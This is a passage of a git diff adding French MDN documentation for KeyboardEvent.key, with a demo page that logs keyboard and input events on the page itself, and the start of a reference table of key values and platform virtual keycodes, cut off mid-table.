+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>fx<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>textarea</span> <span class="attr-name token">rows</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>test-target<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>test-target<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>textarea</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>btn-clear-console<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>btn-clear-console<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>clear console<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>flex<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>console-log<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers  language-css"><code class="language-css"><span class="selector token"><span class="class token">.fx</span> </span><span class="punctuation token">{</span>
+  <span class="property token">-webkit-display</span><span class="punctuation token">:</span> flex<span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> flex<span class="punctuation token">;</span>
+  <span class="property token">margin-left</span><span class="punctuation token">:</span> -<span class="number token">20</span>px<span class="punctuation token">;</span>
+  <span class="property token">margin-right</span><span class="punctuation token">:</span> -<span class="number token">20</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.fx</span> &gt; div </span><span class="punctuation token">{</span>
+  <span class="property token">padding-left</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span>
+  <span class="property token">padding-right</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.fx</span> &gt; div<span class="pseudo-class token">:first-child</span> </span><span class="punctuation token">{</span>
+   <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">30%</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.flex</span> </span><span class="punctuation token">{</span>
+  <span class="property token">-webkit-flex</span><span class="punctuation token">:</span> <span class="number token">1</span><span class="punctuation token">;</span>
+  <span class="property token">flex</span><span class="punctuation token">:</span> <span class="number token">1</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="id token">#test-target</span> </span><span class="punctuation token">{</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> block<span class="punctuation token">;</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">100%</span><span class="punctuation token">;</span>
+  <span class="property token">margin-bottom</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">let</span> textarea <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'test-target'</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+consoleLog <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'console-log'</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+btnClearConsole <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'btn-clear-console'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">logMessage</span><span class="punctuation token">(</span>message<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">let</span> p <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  p<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span>message<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  consoleLog<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>p<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'keydown'</span><span class="punctuation token">,</span> <span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>e<span class="punctuation token">.</span>repeat<span class="punctuation token">)</span>
+    <span class="function token">logMessage</span><span class="punctuation token">(</span>`first keydown event<span class="punctuation token">.</span> key property value is <span class="string token">"${e.key}"</span><span class="template-string token"><span class="string token">`);
+  else
+    logMessage(`</span></span>keydown event repeats<span class="punctuation token">.</span> key property value is <span class="string token">"${e.key}"</span>`<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'beforeinput'</span><span class="punctuation token">,</span> <span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
+  <span class="function token">logMessage</span><span class="punctuation token">(</span>`beforeinput event<span class="punctuation token">.</span> you are about inputing <span class="string token">"${e.data}"</span>`<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">,</span> <span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
+  <span class="function token">logMessage</span><span class="punctuation token">(</span>`input event<span class="punctuation token">.</span> you have just inputed <span class="string token">"${e.data}"</span>`<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'keyup'</span><span class="punctuation token">,</span> <span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
+  <span class="function token">logMessage</span><span class="punctuation token">(</span>`keyup event<span class="punctuation token">.</span> key property value is <span class="string token">"${e.key}"</span>`<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+btnClearConsole<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
+  <span class="keyword token">let</span> child <span class="operator token">=</span> consoleLog<span class="punctuation token">.</span>firstChild<span class="punctuation token">;</span>
+  <span class="keyword token">while</span> <span class="punctuation token">(</span>child<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   consoleLog<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>child<span class="punctuation token">)</span><span class="punctuation token">;</span>
+   child <span class="operator token">=</span> consoleLog<span class="punctuation token">.</span>firstChild<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple_de_séquence_KeyboardEvent')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Sur les navigateurs qui n'implémentent pas complètement l'interface {{domxref("InputEvent")}} qui est utilisée pour les événements {{domxref("HTMLElement/beforeinput_event", "beforeinput")}} et {{domxref("HTMLElement/input_event", "input")}}, vous pouvez obtenir une réponse incorrecte sur ces lignes du journal de sortie.</p>
+</div>
+
+<h3 id="Cas_1">Cas 1</h3>
+
+<p>Lorsque la touche Maj (<em>shift</em>) est enfoncée, un événement {{domxref("Element/keydown_event", "keydown")}} est d'abord déclenché et la valeur de la propriété <code>key</code> est définie sur la chaîne <code>"Shift"</code>. Comme nous gardons cette touche enfoncée, l'événement {{event ("keydown")}} est continu et ne se répéte pas car la touche Maj ne produit pas de caractère.</p>
+
+<p>Lorsque la <code>key 2</code> est enfoncée, un autre événement {{domxref("Element/keydown_event", "keydown")}} est déclenché pour cette nouvelle touche, et la valeur de la propriété <code>key</code> pour l'événement est définie sur la chaîne <code>"@"</code> pour le clavier de type américain et <code>"""</code> pour le clavier de type britannique, à cause de la touche de changement de modificateur active. Les événements {{domxref("HTMLElement/beforeinput_event", "beforeinput")}} et {{domxref("HTMLElement/input_event", "input")}} sont déclenchés ensuite parce qu'une touche de caractère a été activée.</p>
+
+<p>Lorsque nous relâchons la <code>key 2</code>, un événement {{domxref("Element/keyup_event", "keyup")}} est déclenché et la propriété <code>key</code> conserve les valeurs de chaîne <code>"@"</code> et <code>"""</code> pour les différents claviers respectivement.</p>
+
+<p>Lorsque nous relâchons enfin la touche <code>shift</code>, un autre événement {{domxref("Element/keyup_event", "keyup")}} est déclenché pour elle, et la valeur de l'attribut de la touche reste <code>"Shift"</code>.</p>
+
+<h3 id="Cas_2">Cas 2</h3>
+
+<p>Lorsque la touche Maj est enfoncée, un événement {{domxref("Element/keydown_event", "keydown")}} est d'abord déclenché et la valeur de la propriété <code>key</code> est définie sur la chaîne "Shift". Comme nous maintenons cette touche enfoncée, l'événement {{domxref("Element/keydown_event", "keydown")}} est continu et ne se répéte pas car la touche Maj ne produit pas de caractère.</p>
+
+<p>Lorsque la <code>key 2</code> est enfoncée, un autre événement {{domxref("Element/keydown_event", "keydown")}} est déclenché pour cette nouvelle touche, et la valeur de la propriété <code>key</code> pour l'événement est définie sur la chaîne <code>"@"</code> pour le clavier de type américain et <code>"""</code> pour le clavier de type britanique, à cause de la touche de changement de modificateur active. Les événements {{domxref("HTMLElement/beforeinput_event", "beforeinput")}} et {{domxref("HTMLElement/input_event", "input")}} sont déclenchés ensuite parce qu'une touche de caractère a été activée. Comme nous maintenons la touche enfoncée, l'événement {{domxref("Element/keydown_event", "keydown")}} continue à se déclencher à plusieurs reprises et la propriété {{domxref ("KeyboardEvent.repeat")}} est définie sur <code>true</code>. Les évènements {{domxref("HTMLElement/beforeinput_event", "beforeinput")}} et {{domxref("HTMLElement/input_event", "input")}} sont également déclenchés.</p>
+
+<p>Lorsque nous relâchons la touche <code>shift</code>, un événement {{domxref("Element/keyup_event", "keyup")}} est déclenché et la valeur de l'attribut clé reste "Shift". À ce stade, notez que la valeur de la propriété <code>key</code> pour l'événement de répétition du clavier de la touche <code>key 2</code> est désormais "2" car la touche de modification du sélecteur n'est plus active. Il en va de même pour la propriété {{domxref("HTMLElement/beforeinput_event", "beforeinput")}} des événements {{domxref("HTMLElement/input_event", "input")}} et {{event ("input")}}.</p>
+
+<p>Lorsque nous relâchons enfin la touche <code>key 2</code>, un événement {{domxref("Element/keyup_event", "keyup")}} est déclenché mais la propriété <code>key</code> est définie sur la valeur de chaîne <code>"2"</code> pour les deux configurations de clavier car la touche de modification <code>shift</code> n'est plus active.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p><span id="result_box" lang="fr"><span>Cet exemple utilise {{domxref("EventTarget.addEventListener()")}} pour écouter les événements </span></span> {{domxref("Element/keydown_event", "keydown")}} <span lang="fr"><span>.</span> <span>Quand ils se produisent, la valeur de la touche est vérifiée pour voir si c'est l'une des touches qui intéressent le code, et si c'est le cas, elle est traitée (éventuellement en pilotant un vaisseau spatial, peut-être en changeant la cellule sélectionnée dans une feuille de calcul</span><span>).</span></span></p>
+
+<pre class="brush: js">window.addEventListener("keydown", function (event) {
+  if (event.defaultPrevented) {
+    return; // Ne devrait rien faire si l'événement de la touche était déjà consommé.
+  }
+
+  switch (event.key) {
+    case "ArrowDown":
+      // Faire quelque chose pour la touche "flèche vers le bas" pressée.
+      break;
+    case "ArrowUp":
+      // Faire quelque chose pour la touche "up arrow" pressée.
+      break;
+    case "ArrowLeft":
+      // Faire quelque chose pour la touche "left arrow" pressée.
+      break;
+    case "ArrowRight":
+      // Faire quelque chose pour la touche "right arrow" pressée.
+      break;
+    case "Enter":
+      // Faire quelque chose pour les touches "enter" ou "return" pressées.
+      break;
+    case "<code>Escape</code>":
+      // Faire quelque chose pour la touche "esc" pressée.
+      break;
+    default:
+      return; // Quitter lorsque cela ne gère pas l'événement touche.
+  }
+
+  // Annuler l'action par défaut pour éviter qu'elle ne soit traitée deux fois.
+  event.preventDefault();
+}, true);
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#widl-KeyboardEvent-key', 'KeyboardEvent.key')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Définition initiale, incluant les valeurs de touches.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.key")}}</p>
+
+<div id="compat-desktop"></div>
+
+<div id="compat-mobile"></div>
diff --git a/files/fr/web/api/keyboardevent/key/key_values/index.html b/files/fr/web/api/keyboardevent/key/key_values/index.html
new file mode 100644
index 0000000000..a61f42654e
--- /dev/null
+++ b/files/fr/web/api/keyboardevent/key/key_values/index.html
@@ -0,0 +1,3639 @@
+---
+title: Key Values
+slug: Web/API/KeyboardEvent/key/Key_Values
+translation_of: Web/API/KeyboardEvent/key/Key_Values
+---
+<p>Les tableaux ci-dessous énumèrent les valeurs clés standard dans différentes catégories de clés, avec une explication de l'utilisation habituelle de la clé. Les codes de clés virtuels correspondants pour les plateformes communes sont inclus lorsqu'ils sont disponibles.</p>
+
+<div class="pull-aside">
+<div class="moreinfo">Apprenez à utiliser ces valeurs clés en JavaScript en utilisant <a href="/fr/docs/Web/API/KeyboardEvent/key">KeyboardEvent.key</a></div>
+</div>
+
+<p><a href="#Special_values">Special Values </a>| <a href="#Modifier_keys">Modifier Keys</a> | <a href="#Whitespace_keys">Whitespace Keys</a> | <a href="#Navigation_keys">Navigation Keys</a> | <a href="#Editing_keys">Editing Keys</a> | <a href="#UI_keys">UI Keys</a> | <a href="#Device_keys">Device Keys</a> | <a href="#IME_and_composition_keys">IME and Composition Keys</a> | <a href="#Function_keys">Function Keys</a> | <a href="#Phone_keys">Phone Keys</a> | <a href="#Multimedia_keys">Multimedia Keys</a> | <a href="#Audio_control_keys">Audio Control Keys</a> | <a href="#TV_control_keys">TV Control Keys</a> | <a href="#Media_controller_keys">Media Controller Keys</a> | <a href="#Speech_recognition_keys">Speech Recognition Keys</a> | <a href="#Document_keys">Document Keys</a> | <a href="#Application_selector_keys">Application Selector Keys</a> | <a href="#Browser_control_keys">Browser Control Keys</a> | <a href="#Numeric_keypad_keys">Numeric Keypad Keys</a></p>
+
+<h2 id="Valeurs_spéciales">Valeurs spéciales</h2>
+
+<p>Les valeurs de <code>key</code> qui ont une signification particulière autre que l'identification d'une clé ou d'un caractère spécifique.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Valeur</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Code clé virtuel</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Unidentified"</code></td>
+   <td>L'agent utilisateur n'a pas été en mesure de faire correspondre le code virtuel de l'événement à une valeur clé spécifique. Cela peut être dû à des contraintes matérielles ou logicielles, ou à des contraintes liées à la plate-forme sur laquelle l'agent utilisateur fonctionne.</td>
+   <td><em>varie</em></td>
+   <td><em>varie</em></td>
+   <td><em>varie</em></td>
+   <td><em>varie</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Modifier_keys">Modifier keys</h2>
+
+<p>Modifiers are special keys which are used to generate special characters or cause special actions when used in combination with other keys. Examples include the <kbd>Shift</kbd> and <kbd>Control</kbd> keys, and lock keys such as <kbd>Caps Lock</kbd> and <kbd>NumLock</kbd>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Alt"</code> [5]</td>
+   <td>The <kbd>Alt</kbd> (Alternative) key.</td>
+   <td><code>VK_MENU</code> (0x12)<br>
+    <code>VK_LMENU</code> (0xA4)<br>
+    <code>VK_RMENU</code> (0xA5)</td>
+   <td><code>kVK_Option</code> (0x3A)<br>
+    <code>kVK_RightOption</code> (0x3D)</td>
+   <td><code>GDK_KEY_Alt_L</code> (0xFFE9)<br>
+    <code>GDK_KEY_Alt_R</code> (0xFFEA)<br>
+    <code>Qt::Key_Alt</code> (0x01000023)</td>
+   <td><code>KEYCODE_ALT_LEFT</code> (57)<br>
+    <code>KEYCODE_ALT_RIGHT</code> (58)</td>
+  </tr>
+  <tr>
+   <td><code>"AltGraph"</code> [5]</td>
+   <td>The <kbd>AltGr</kbd> or <kbd>AltGraph</kbd> (Alternate Graphics) key. Enables the ISO Level 3 shift modifier (where <kbd>Shift</kbd> is the level 2 modifier).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Mode_switch</code> (0xFF7E)<br>
+    <code>GDK_KEY_ISO_Level3_Shift</code> (0xFE03)<br>
+    <code>GDK_KEY_ISO_Level3_Latch</code> (0xFE04)<br>
+    <code>GDK_KEY_ISO_Level3_Lock</code> (0xFE05)<br>
+    <code>GDK_KEY_ISO_Level5_Shift</code> (0xFE11)<br>
+    <code>GDK_KEY_ISO_Level5_Latch</code> (0xFE12)<br>
+    <code>GDK_KEY_ISO_Level5_Lock</code> (0xFE13)<br>
+    <code>Qt::Key_AltGr</code> (0x01001103<br>
+    <code>Qt::Key_Mode_switch</code> (0x0100117E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CapsLock"</code></td>
+   <td>The <kbd>Caps Lock</kbd> key. Toggles the capital character lock on and off for subsequent input.</td>
+   <td><code>VK_CAPITAL</code> (0x14)</td>
+   <td><code>kVK_CapsLock</code> (0x39)</td>
+   <td><code>GDK_KEY_Caps_Lock</code> (0xFFE5)<br>
+    <code>Qt::Key_CapsLock</code> (0x01000024)</td>
+   <td><code>KEYCODE_CAPS_LOCK</code> (115)</td>
+  </tr>
+  <tr>
+   <td><code>"Control"</code></td>
+   <td>The <kbd>Control</kbd>, <kbd>Ctrl</kbd>, or <kbd>Ctl</kbd> key. Allows typing control characters.</td>
+   <td><code>VK_CONTROL</code> (0x11)<br>
+    <code>VK_LCONTROL</code> (0xA2)<br>
+    <code>VK_RCONTROL</code> (0xA3)</td>
+   <td><code>kVK_Control</code> (0x3B)<br>
+    <code>kVK_RightControl</code> (0x3E)</td>
+   <td><code>GDK_KEY_Control_L</code> (0xFFE3)<br>
+    <code>GDK_KEY_Control_R</code> (0xFFE4)<br>
+    <code>Qt::Key_Control</code> (0x01000021)</td>
+   <td><code>KEYCODE_CTRL_LEFT</code> (113)<br>
+    <code>KEYCODE_CTRL_RIGHT</code> (114)</td>
+  </tr>
+  <tr>
+   <td><code>"Fn"</code></td>
+   <td>The <kbd>Fn</kbd> (Function modifier) key. Used to allow generating function key (<kbd>F1</kbd>-<kbd>F15</kbd>, for instance) characters on keyboards without a dedicated function key area. Often handled in hardware so that events aren't generated for this key.</td>
+   <td></td>
+   <td><code>kVK_Function</code> (0x3F)</td>
+   <td></td>
+   <td><code>KEYCODE_FUNCTION</code> (119)</td>
+  </tr>
+  <tr>
+   <td><code>"FnLock"</code></td>
+   <td>The <kbd>FnLock</kbd> or <kbd>F-Lock</kbd> (Function Lock) key.Toggles the function key mode described by "Fn" on and off. Often handled in hardware so that events aren't generated for this key.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Hyper"</code> [4]</td>
+   <td>The <kbd>Hyper</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hyper_L</code> (0xFFED)<br>
+    <code>GDK_KEY_Hyper_R</code> (0xFFEE)<br>
+    <code>Qt::Key_Hyper_L</code> (0x01000056)<br>
+    <code>Qt::Key_Hyper_R</code> (0x01000057)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Meta"</code> [1]</td>
+   <td>The <kbd>Meta</kbd> key. Allows issuing special command inputs. This is the <kbd>Windows</kbd> logo key, or the <kbd>Command</kbd> or <kbd>⌘</kbd> key on Mac keyboards.</td>
+   <td><code>VK_LWIN</code> (0x5B)<br>
+    <code>VK_RWIN</code> (0x5C)</td>
+   <td><code>kVK_Command</code> (0x37)<br>
+    <code>kVK_RightCommand</code> (0x36)</td>
+   <td><code>GDK_KEY_Meta_L</code> (0xFFE7)<br>
+    <code>GDK_KEY_Meta_R</code> (0xFFE8)<br>
+    <code>Qt::Key_Meta</code> (0x01000022)</td>
+   <td><code>KEYCODE_META_LEFT</code> (117)<br>
+    <code>KEYCODE_META_RIGHT</code> (118)</td>
+  </tr>
+  <tr>
+   <td><code>"NumLock"</code></td>
+   <td>The <kbd>NumLock</kbd> (Number Lock) key. Toggles the numeric keypad between number entry some other mode (often directional arrows).</td>
+   <td><code>VK_NUMLOCK</code> (0x90)</td>
+   <td></td>
+   <td><code>GDK_KEY_Num_Lock</code> (0xFF7F)<br>
+    <code>Qt::Key_NumLock</code> (0x01000025)</td>
+   <td><code>KEYCODE_NUM_LOCK</code> (143)</td>
+  </tr>
+  <tr>
+   <td><code>"ScrollLock"</code> [2]</td>
+   <td>The <kbd>Scroll Lock</kbd> key. Toggles beteen scrolling and cursor movement modes.</td>
+   <td><code>VK_SCROLL</code> (0x91)</td>
+   <td></td>
+   <td><code>GDK_KEY_Scroll_Lock</code> (0xFF14)<br>
+    <code>Qt::Key_ScrollLock</code> (0x01000026)</td>
+   <td><code>KEYCODE_SCROLL_LOCK</code> (116)</td>
+  </tr>
+  <tr>
+   <td><code>"Shift"</code></td>
+   <td>The <kbd>Shift</kbd> key. Modifies keystrokes to allow typing upper (or other) case letters, and to support typing punctuation and other special characters.</td>
+   <td><code>VK_SHIFT</code> (0x10)<br>
+    <code>VK_LSHIFT</code> (0xA0)<br>
+    <code>VK_RSHIFT</code> (0xA1)</td>
+   <td><code>kVK_Shift</code> (0x38)<br>
+    <code>kVK_RightShift</code> (0x3C)</td>
+   <td><code>GDK_KEY_Shift_L</code> (0xFFE1)<br>
+    <code>GDK_KEY_Shift_R</code> (0xFFE2)<br>
+    <code>Qt::Key_Shift</code> (0x01000020)</td>
+   <td><code>KEYCODE_SHIFT_LEFT</code> (59)<br>
+    <code>KEYCODE_SHIFT_RIGHT</code> (60)</td>
+  </tr>
+  <tr>
+   <td><code>"Super"</code> [4]</td>
+   <td>The <kbd>Super</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Super_L</code> (0xFFEB)<br>
+    <code>GDK_KEY_Super_R</code> (0xFFEC)<br>
+    <code>Qt::Key_Super_L</code> (0x01000053)<br>
+    <code>Qt::Key_Super_R</code> (0x01000054)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Symbol"</code></td>
+   <td>The <kbd>Symbol</kbd> modifier key (found on certain virtual keyboards).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_SYM</code> (63) [3]</td>
+  </tr>
+  <tr>
+   <td><code>"SymbolLock"</code></td>
+   <td>The <kbd>Symbol Lock</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] In Internet Explorer (tested on release 9 and 11), as well as in all versions of Firefox, the <kbd>Windows</kbd> key is reported as <code>"OS"</code> instead of as <code>"Meta"</code>. This will be changed in Firefox per {{bug(1232918)}}. Until that's fixed, these keys are returned as <code>"OS"</code> by Firefox: <code>VK_LWIN</code> (0x5B) and <code>VK_RWIN</code> (0x5C) on Windows, and <code><code>GDK_KEY_Super_L</code> (0xFFEB)</code>, <code><code>GDK_KEY_Super_R</code> (0xFFEC)</code>, <code><code>GDK_KEY_Hyper_L</code> (0xFFED)</code>, and <code><code>GDK_KEY_Hyper_R</code> (0xFFEE)</code> on Linux.</p>
+
+<p>[2] Internet Explorer (tested on release 9 and 11) reports <code>"Scroll"</code> instead of <code>"ScrollLock"</code> for the <kbd>Scroll Lock</kbd> key.</p>
+
+<p>[3] Firefox did not add support for the <kbd>Symbol</kbd> key until Firefox 37.</p>
+
+<p>[4] Firefox generates the key value <code>"OS</code>" for the <kbd>Super</kbd> and <kbd>Hyper</kbd> keys, instead of <code>"Super"</code> and <code>"Hyper"</code>.</p>
+
+<p>[5] Chrome 67 and Firefox 63 now correctly interpret the right <kbd>Alt</kbd> key for keyboard layouts which map that key to <kbd>AltGr</kbd>. See Firefox bug {{bug(900750)}} and <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=25503">Chrome bug 25503</a> for further details.</p>
+
+<h2 id="Whitespace_keys">Whitespace keys</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Enter"</code></td>
+   <td>The <kbd>Enter</kbd> or <kbd>↵</kbd> key (sometimes labeled <kbd>Return</kbd>).</td>
+   <td><code>VK_RETURN</code> (0x0D)</td>
+   <td><code>kVK_Return</code> (0x24)<br>
+    <code>kVK_ANSI_KeypadEnter</code> (0x4C)<br>
+    <code>kVK_Powerbook_KeypadEnter</code> (0x34)</td>
+   <td><code><code>GDK_KEY_Return</code> (0xFF0D)</code><br>
+    <code><code>GDK_KEY_KP_Enter</code> (0xFF8D)</code><br>
+    <code><code>GDK_KEY_ISO_Enter</code> (0xFE34)</code><br>
+    <code><code>GDK_KEY_3270_Enter</code> (0xFD1E)</code><br>
+    <code>Qt::Key_Return</code> (0x01000004)<br>
+    <code>Qt::Key_Enter</code> (0x01000005)</td>
+   <td><code>KEYCODE_ENTER</code> (66)<br>
+    <code>KEYCODE_NUMPAD_ENTER</code> (160)<br>
